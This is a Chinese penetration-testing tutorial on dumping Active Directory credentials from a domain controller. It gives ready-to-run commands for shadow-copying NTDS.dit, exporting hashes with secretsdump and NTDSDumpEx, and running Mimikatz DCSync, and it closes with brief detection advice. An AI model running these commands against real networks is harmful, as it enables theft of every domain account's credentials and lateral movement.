内网渗透基石篇--域控制器(上)
字数 1718
更新时间 2025-08-13 23:08:14

域控制器渗透技术详解:提取NTDS.dit文件与域散列值

一、NTDS.dit文件概述

NTDS.dit是Active Directory的核心数据库文件,存储位置为域控制器的%SystemRoot%\NTDS\ntds.dit。该文件包含但不限于以下关键信息:

  • 域内所有用户的用户名和密码散列值
  • 组信息
  • 组策略首选项(GPP)
  • 组织单位(OU)信息

重要特性

  • 二进制文件格式
  • 运行时被Windows系统锁定,常规方法无法直接读取
  • 与SAM文件类似,但包含整个域的信息而非单机信息

二、卷影拷贝服务(VSS)技术原理

卷影拷贝服务(Volume Shadow Copy Service)是Windows提供的快照技术,主要用于:

  • 系统备份与恢复
  • 绕过文件锁定机制获取文件副本
  • 即使文件被活动目录服务锁定,仍可获取其副本

三、提取NTDS.dit的多种方法

3.1 使用ntdsutil.exe

ntdsutil.exe是Windows自带的Active Directory管理工具,支持系统:Win2003/2008/2012

操作步骤

  1. 创建快照:

    ntdsutil snapshot "activate instance ntds" create quit quit
    
  2. 加载快照(使用上一步返回的GUID):

    ntdsutil snapshot "mount {665f12d7-37f5-45e3-8aba-1d1944173ec9}" quit quit
    
  3. 复制NTDS.dit文件:

    copy C:\$SNAP_202007261544_VOLUMEC$\windows\ntds\ntds.dit c:\temp\ntds.dit
    
  4. 卸载并删除快照:

    ntdsutil snapshot "unmount {33a3344e-4c5e-4fc0-821e-fdc7a7aac36d}" "delete {33a3344e-4c5e-4fc0-821e-fdc7a7aac36d}" quit quit
    

3.2 使用vssadmin

Windows 2008及以后系统内置工具:

  1. 创建C盘卷影拷贝:

    vssadmin create shadow /for=c:
    
  2. 从卷影拷贝中复制NTDS.dit:

    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\temp\ntds.dit
    

3.3 使用vssown.vbs脚本

GitHub下载地址:https://github.com/borigue/ptscripts/tree/master/windows

操作流程

  1. 启动服务:

    cscript vssown.vbs /start
    
  2. 创建快照:

    cscript vssown.vbs /create c
    
  3. 列出快照:

    cscript vssown.vbs /list
    
  4. 复制文件后删除快照:

    cscript vssown.vbs /delete {GUID}
    

3.4 使用ntdsutil的IFM功能

单命令完成

ntdsutil "ac i ntds" "ifm" "create full c:\test" q q q

此命令会:

  1. 自动创建快照
  2. 加载快照
  3. 将ntds.dit和SAM文件复制到指定目录

3.5 使用diskshadow.exe

微软签名工具,默认存在于Win2008/2012/2016中。

使用方法

  1. 创建执行脚本(1.txt):

    set context persistent nowriters
    add volume c: alias someAlias
    create
    expose %someAlias% z:
    
  2. 执行脚本:

    diskshadow /s 1.txt
    
  3. 复制文件:

    copy z:\windows\ntds\ntds.dit c:\temp\ntds.dit
    

四、导出域散列值

4.1 使用Impacket工具包(Linux)

前提条件

  • ntds.dit文件
  • SYSTEM文件(位于C:\Windows\System32\config)

操作步骤

  1. 安装Impacket:

    git clone https://github.com/CoreSecurity/impacket.git
    cd impacket/
    python setup.py install
    
  2. 导出散列值:

    python secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
    

4.2 使用esedbexport工具

安装与使用

./configure
make
sudo make install 
sudo ldconfig

esedbexport -m tables ntds.dit

4.3 使用NTDSDumpex(Windows)

下载地址:https://github.com/zcgonvh/NTDSDumpEx

操作步骤

  1. 获取SYSTEM文件:

    reg save HKLM\SYSTEM c:\temp\system.hive
    
  2. 导出散列值:

    NTDSDumpEx.exe -d ntds.dit -s system.hive -o hash.txt
    

五、利用DCSync获取域散列值

5.1 使用Mimikatz的DCSync功能

原理:利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据

权限要求

  • Administrators组用户
  • Domain Admins组用户
  • Enterprise Admins组用户
  • 域控制器的计算机帐户

操作命令

privilege::debug
lsadump::dcsync /domain:domain.com /all /csv

注意事项

  1. 必须先执行privilege::debug提升权限
  2. 用户数量多时可先执行log命令记录输出
  3. 必须在域内计算机上以域管理员权限运行

六、防御与检测建议

  1. 监控卷影拷贝服务

    • 监控System Event ID 7036(卷影拷贝服务启动)
    • 监控vssvc.exe进程创建事件
  2. 监控可疑工具使用

    • diskshadow.exe及其子进程创建
    • 客户端设备上的diskshadow.exe实例
  3. 监控文件访问

    • 对ntds.dit文件的异常访问尝试
    • 新出现的逻辑驱动器映射事件
  4. 权限控制

    • 严格限制对域控制器的管理员权限
    • 监控敏感账户的异常使用

七、总结

域控制器渗透的关键步骤:

  1. 获取域管理员权限
  2. 通过VSS技术提取NTDS.dit文件
  3. 获取SYSTEM注册表文件
  4. 使用工具导出域散列值
  5. 利用散列值进行横向移动

掌握这些技术对于红队评估和内网渗透测试至关重要,同时也帮助蓝队更好地防御此类攻击。

相似文章
相似文章
 全屏